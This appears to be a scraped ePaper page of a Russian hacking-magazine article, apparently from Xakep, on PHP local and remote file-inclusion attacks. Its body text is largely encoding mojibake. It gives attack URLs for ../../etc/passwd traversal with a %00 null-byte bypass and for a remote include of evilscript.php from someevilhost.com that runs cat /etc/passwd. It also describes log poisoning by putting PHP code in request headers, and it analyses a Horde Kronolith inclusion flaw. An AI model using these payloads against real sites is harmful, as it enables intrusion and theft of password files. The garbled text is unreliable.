13.07.2015 Views

этом - Xakep Online

этом - Xakep Online

этом - Xakep Online

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

19çíà÷åíèå èìååò $var1. Ïðîáëåìà äàííîãî êîäàâ ñëåäóþùåì: îí íå ó÷èòûâàåò, ÷òî êòî-òî ìîæåò ïîëó÷èòüäîñòóï íàïðÿìóþ ê sample2.php.Ïðîáëåìà ïðîÿâèò ñåáÿ, åñëè â êîíôèãóðàöèîííîìôàéëå PHP âêëþ÷åíà äèðåêòèâà register_globals.Âêëþ÷åíèå äàííîé äèðåêòèâû îçíà÷àåò, ÷òî ëþáàÿïåðåìåííàÿ ìîæåò áûòü óñòàíîâëåíà ÷åðåç çàïðîñïîëüçîâàòåëÿ. Ïåðåìåííàÿ $var1 óñòàíîâëåíàäî èñïîëüçîâàíèÿ â sample2.php, íî åñëè êòî-òî ïîëó÷èòäîñòóï â sample2.php ïåðâûì (äî sample1.php),è ñâîéñòâî register_globals áóäåò âêëþ÷åíî, òî çíà÷åíèåïåðåìåííîé $var1 ìîæåò áûòü èçìåíåíî ÷åðåçïîëüçîâàòåëüñêèé çàïðîñ.Ê ïðèìåðó, åñëè web-ïðèëîæåíèå äîñòóïíî ïîññûëêå www.vul_site.com/sample1.php, âñå, ÷òî íàì íóæíîñäåëàòü, — ýòî ïåðåéòè ïî àäðåñó www.vul_site.com/sample2.phpè, â çàâèñèìîñòè îò íàñòðîåê â php.ini, ìû, ñêîðååâñåãî, ïîëó÷èì ñòðàíèöó ñ îøèáêîé, êîòîðàÿ ïîäñêàæåòíàì, ÷òî sample2.php îæèäàåò íåêîòîðîå çíà÷åíèåäëÿ ïåðåìåííîé $var1. À ïîñêîëüêó ñâîéñòâî register_globalsâêëþ÷åíî, ïîëüçîâàòåëü ñàìîñòîÿòåëüíîìîæåò èíèöèàëèçèðîâàòü çíà÷åíèå äàííîé ïåðåìåííîé÷åðåç ñîîòâåòñòâóþùèé çàïðîñ: www.vul_site.com/-sample2.php?var1=any_file_name. Ñöåíàðèé ïîïûòàåòñÿïîäêëþ÷èòü ñîîòâåòñòâóþùèé èñêîìûé ôàéë, â ñëó-÷àå íåóäà÷è áóäåò âûäàíî ñîîáùåíèå îá îøèáêå.magic_quotes_gpc. Èòàê, ïîïûòàåìñÿ èçâëå÷üïîëüçó è ïîäêëþ÷èòü âìåñòî âàëèäíîãî ñöåíàðèÿ,íàïðèìåð, ôàéë, ñîäåðæàùèé õýøè ïàðîëåé ïîëüçîâàòåëåé/etc/passwd:www.vul_site.com/sample2.php?var1=../../../../../../../etc/passwd.Íî â ðåçóëüòàòå ìû ïîëó÷èì îøèáêó. Ïîäêëþ÷åíèåôàéëà íå ïðîèçîéäåò ïîòîìó, ÷òî ñöåíàðèé sample2.phpäîïèñûâàåò â êîíöå ëþáîãî ôàéëà ðàñøèðåíèå«.php» è ïûòàåòñÿ ïîëó÷èòü äîñòóï ê ../../../../../../-../etc/passwd.ðhp, êîòîðîãî, åñòåñòâåííî, íå ñóùåñòâóåò.Ñîîòâåòñòâåííî, åñëè â ñâîèõ «ó÷åáíûõ» öåëÿõìû õîòèì èñïîëüçîâàòü ÷òî-ëèáî ïîìèìî PHP-ñöåíàðèåâ,íóæíî èçáåæàòü äîáàâëåíèÿ îêîí÷àíèÿ «.php».Ðåøåíèå ïðîáëåìû ëåæèò â ôàéëå php.ini è íàçûâàåòñÿmagic_quotes_gpc. Magic_quotes_gpc — ýòî ñâîéñòâî,äåéñòâèÿ êîòîðîãî ýêâèâàëåíòíû äåéñòâèþôóíêöèè addslashes(). Äàííàÿ ôóíêöèÿ âîçâðàùàåòñðîêó, â êîòîðîé ïåðåä êàæäûì ñïåöñèìâîëîì (',",\ èNUL (áàéò NULL)) äîáàâëåí îáðàòíûé ñëåø (\). ÀááðåâèàòóðàGPC ðàñøèôðîâûâàåòñÿ êàê Get, Post, Cookie.Ýòî çíà÷èò, ÷òî ïî ñóòè magic_quotes_gpc ïðèìåíÿåòôóíêöèþ addslashes() êî âñåì âàøèì GET-,POST-, è COOKIE-äàííûì.Òàêèì îáðàçîì, åñëè ñâîéñòâî magic_quotes_gpcóñòàíîâëåíî â «off», çíà÷èò, ñóùåñòâóåò âîçìîæíîñòüâêëþ÷åíèÿ ëîêàëüíûõ ôàéëîâ ñ íóëåâûìáàéòîì â êîíöå èìåíè ôàéëà.  PHP íóëåâîé ñèìâîëîáîçíà÷àåòñÿ êàê «\n», ÷òî ýêâèâàëåíòíî øåñòíàäöàòåðè÷íîìóçíà÷åíèþ «%00».Òàêèì îáðàçîì, ñëåäóþùèé çàïðîñ ñïîñîáåíïðåäîñòàâèòü èíòåðåñóþùèé íàñ ôàéë /etc/passwd:www.vul_site.com/sample2.php?var1=../../../../../../../etc/passwd%00Îòìåòèì, ÷òî ñèìâîëû «../» aka «dot dot slash» ÿâëÿþòñÿñïåöèôèêàòîðàìè îáõîäà äèðåêòîðèé (DirectoryTraversal Specifiers) è ñëóæàò äëÿ äîñòóïà ê ôàéëàìâíå òåêóùåé äèðåêòîðèè. Òàê æå ìîæíî âêëþ÷àòüóäàëåííûå ôàéëû, ñîäåðæàùèå çëîíàìåðåííûé êîä.Ïðåäïîëîæèì, ìû õîòèì âêëþ÷èòü óäàëåííûéôàéë evilscript.php ñëåäóþùåãî ñîäåðæàíèÿ:Êîìàíäà passthru() â PHP âûïîëíÿåò óêàçàííûå êîìàíäûíà ñåðâåðå. Ïåðåìåííàÿ $_GET æäåò óêàçàíèÿêîìàíäû è åå ïàðàìåòðîâ â çàïðîñå ïîëüçîâàòåëÿ. ðåçóëüòàòå ìû ìîæåì ïîëó÷èòü ôàéë ñ ïàðîëÿìèïîëüçîâàòåëåé óæå äðóãèì ñïîñîáîì, èñïîëüçóÿóäàëåííûé ñöåíàðèé evilscript.php è ÿâíîóêàçàâ íóæíóþ êîìàíäó â ñòðîêå çàïðîñà:http://localhost/index.php?page=http://someevilhost.com/evilscript.php?cmd=cat /etc/passwdèíæåêòèðîâàíèå ñöåíàðèÿ â ëîã-ôàéëû. Èíîãäàâîçíèêàåò ñèòóàöèÿ, êîãäà àäìèíèñòðàòîð ñàéòàñ ïîìîùüþ íåêîòîðûõ íàñòðîåê çàïðåùàåò ïîäêëþ-÷àòü óäàëåííûå ôàéëû. Íàïðèìåð, óñòàíîâêà îïöèèallow_url_fopen â çíà÷åíèå «off» çàïðåòèò âêëþ÷àòüñöåíàðèè ñ óäàëåííûõ ðåñóðñîâ. Òåì íå ìåíåå, äàæåâ ýòîé ñèòóàöèè îñòàåòñÿ âîçìîæíîñòü èíæåêòèðîâàòüñîáñòâåííûé PHP-êîä â æóðíàë ðåãèñòðàöèèñîáûòèé. Äëÿ ýòîãî íóæíî ñîñòàâèòü HTTP-GETçàïðîñ,ñîäåðæàùèé â ñåáå PHP-êîä, êîòîðûé íåîáõîäèìîâûïîëíèòü.$CODE ='';$content.="GET /path/".$CODE."HTTP/1.1/n";$content.="User-Agent: ".$CODE."/n";$content.="Host: ".$host."/n";$content.="Connection: close/n/n"; ðåçóëüòàòå PHP-êîä áóäåò ïåðåäàí ñåðâåðó ÷åðåçïðåäñòàâëåííûé çàïðîñ. Ñåðâåð çàðåãèñòðèðóåò ïîïûòêóäîñòóïà â ñâîèõ ëîãàõ. Ýòî çíà÷èò, ÷òî â ôàéëàõðåãèñòðàöèè ñîáûòèé îñòàíåòñÿ è íàø PHP-êîä.Ïîñëå ýòîãî îñòàåòñÿ òîëüêî ïîëó÷èòü äîñòóï ê æóðíàëàì÷åðåç ëîêàëüíîå âêëþ÷åíèå ôàéëîâ. Âûïîëíåíèåëîã-ôàéëà ïðè âêëþ÷åíèè íè÷åì íå îòëè÷àåòñÿîò âûïîëíåíèÿ PHP-ñöåíàðèÿ: ëèøíèé ìóñîð áóäåòîòáðîøåí, à ôóíêöèè PHP — âûïîëíåíû. Ïåðåäàííûåêîìàíäû áóäóò âûïîëíåíû áåç íåîáõîäèìîñòèâêëþ÷åíèÿ óäàëåííîãî ôàéëà. Äëÿ âûïîëíåíèÿ äàííîãîýêñïëîéòà íåîáõîäèìî âêëþ÷åíèå îïöèè register_globalsè âûêëþ÷åíèå îïöèè magic_quotes_gpc.óÿçâèìîñòü â Horde Kronolith. Íà ìîìåíò íàïèñàíèÿäàííîé ñòàòüè îäíîé èç ïîñëåäíèõ íà iDefenceLabs áûëà íîâîñòü îá óÿçâèìîñòè â web-êàëåíäàðåHorde Kronolith, ïîçâîëÿþùåé âêëþ÷èòü è âûïîëíèòüïðîèçâîëüíûé ëîêàëüíûé ôàéë.  îïóáëèêîâàííîéíîâîñòè ðàññìàòðèâàåòñÿ ïðîáëåìíûé ó÷àñòîê êîäà,íî íå ïðèâîäèòñÿ ïðèìåð ýêñïëóàòèðîâàíèÿ óÿçâèìîñòè.Äàâàé ïðîàíàëèçèðóåì, íàñêîëüêî ëåãêî çëîóìûøëåííèêìîæåò ñîñòàâèòü ýêñïëîéò, èìåÿ ïåðåäãëàçàìè ïðîáëåìíûé ó÷àñòîê êîäà.Íà ñàéòå ïðèâîäèëñÿ ñëåäóþùèé ó÷àñòîêïðîáëåìíîãî êîäà ñöåíàðèÿ 'lib/FBView.php':177 function &factory($view)178 {179 $driver = basename($view);180 require_once dirname(__FILE__) .'/FBView/' . $view . '.php';Êàê âèäíî, óÿçâèìîñòü îáíàðóæåíà â ôóíêöèèKronolith_FreeBusy_View::factory, êîòîðàÿ âêëþ÷àåòëîêàëüíûå ôàéëû, ïåðåäàííûå ÷åðåç 'view' HTTP-GET-ïàðàìåòð çàïðîñà.  ñòðîêå 179 ñ ïîìîùüþôóíêöèè basename(string path [, string suffix]) îñóùåñòâëåíàïðîâåðêà ââîäèìûõ äàííûõ. Äàííàÿ ôóíêöèÿâîçâðàùàåò èìÿ ôàéëà, ÷åé ïóòü ïåðåäàåòñÿ â êà÷åñòâåïàðàìåòðà. Åñëè èìÿ ôàéëà îêàí÷èâàåòñÿ íàsuffix, îí òàêæå áóäåò îòáðîøåí. Òàêèì îáðàçîì, èñïîëüçóÿôóíêöèþ basename(), ðàçðàáîò÷èêè ïîçàáîòèëèñüîá îáðåçàíèè âîçìîæíûõ çëîíàìåðåííûõñèìâîëîâ, ñîäåðæàùèõñÿ â ïåðåìåííîé $view. Îäíà-äîáðûé èíñïåêòîð ÑÒÀÒÜÅ ÌÛ ÐÀÑÑÌÎÒÐÅËÈÂÎÇÌÎÆÍÎÑÒÜ ÌÎÄÈÔÈÊÀÖÈÈÈÑÕÎÄÍÛÕ ÒÅÊÑÒΠÑÒÐÀÍÈÖÛÏÓÒÅÌ ÑÎÕÐÀÍÅÍÈß ÒÅÊÑÒÎÂ È ÈÕÈÇÌÅÍÅÍÈß Â ÎÔÔËÀÉÍÅ.ÏÐÈ ÈÑÏÎËÜÇÎÂÀÍÈÈ ÏÐÎÄÂÈÍÓÒÛÕWEB-ÁÐÀÓÇÅÐÎÂ, ÒÀÊÈÕ ÊÀÊ FIREFOX,ÑÓÙÅÑÒÂÓÅÒ ÁÎËÅÅ ÏÐÎÑÒÎÉ ÌÅÒÎÄÐÅØÅÍÈß ÄÀÍÍÎÉ ÏÐÎÁËÅÌÛ. ÈÌß ÅÌÓDOM INSPECTOR (TOOLS!WEB DEVELOP-MENT!DOM INSPECTOR).ÏÐÈ ÈÑÏÎËÜÇÎÂÀÍÈÈ DOM-ÈÍÑÏÅÊÒÎÐÀ, ÂÑÅ, ×ÒÎ ÍÀÌ ÍÓÆÍÎ, —ÝÒÎ ÎÒÊÐÛÒÜ ÏÎÄÎÏÛÒÍÓÞ ÑÒÐÀÍÈÖÓ. ÐÅÇÓËÜÒÀÒÅ ÂÍÈÇÓ ÎÊÍÀ ÁÐÀÓÇÅÐÀDOM-ÈÍÑÏÅÊÒÎÐÀ ÐÀÑÊÐÎÅÒÑßÑÒÐÀÍÈÖÀ.ÑËÅÂÀ ÂÂÅÐÕÓ ÎÊÍÀ DOM-ÈÍÑÏÅÊÒÎÐÀÏÎßÂÈÒÑß ÑÒÐÓÊÒÓÐÀ ÈÑÑËÅÄÓÅÌÎÉÑÒÐÀÍÈÖÛ. ÍÀÆÈÌÀß ÍÀ ÊÍÎÏÊÓÑÎ ÑÒÐÅËÊÎÉ-ÓÊÀÇÀÒÅËÅÌ ÑËÅÂÀÍÀ ÏÀÍÅËÈ ÈÍÑÒÐÓÌÅÍÒΠDOM-ÈÍÑÏÅÊÒÎÐÀ È ÊËÈÊÀß ÏÎÈÍÒÅÐÅÑÓÞÙÅÌÓ ÍÀÑ ÝËÅÌÅÍÒÓÈÑÑËÅÄÓÅÌÎÉ ÑÒÐÀÍÈÖÛ, ÌÎÆÍÎËÅÃÊÎ ÏÅÐÅÄÂÈÃÀÒÜÑß È ÈÇÌÅÍßÒÜÍÓÆÍÛÅ ÒÅÃÈ È ÈÕ ÀÒÐÈÁÓÒÛ.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!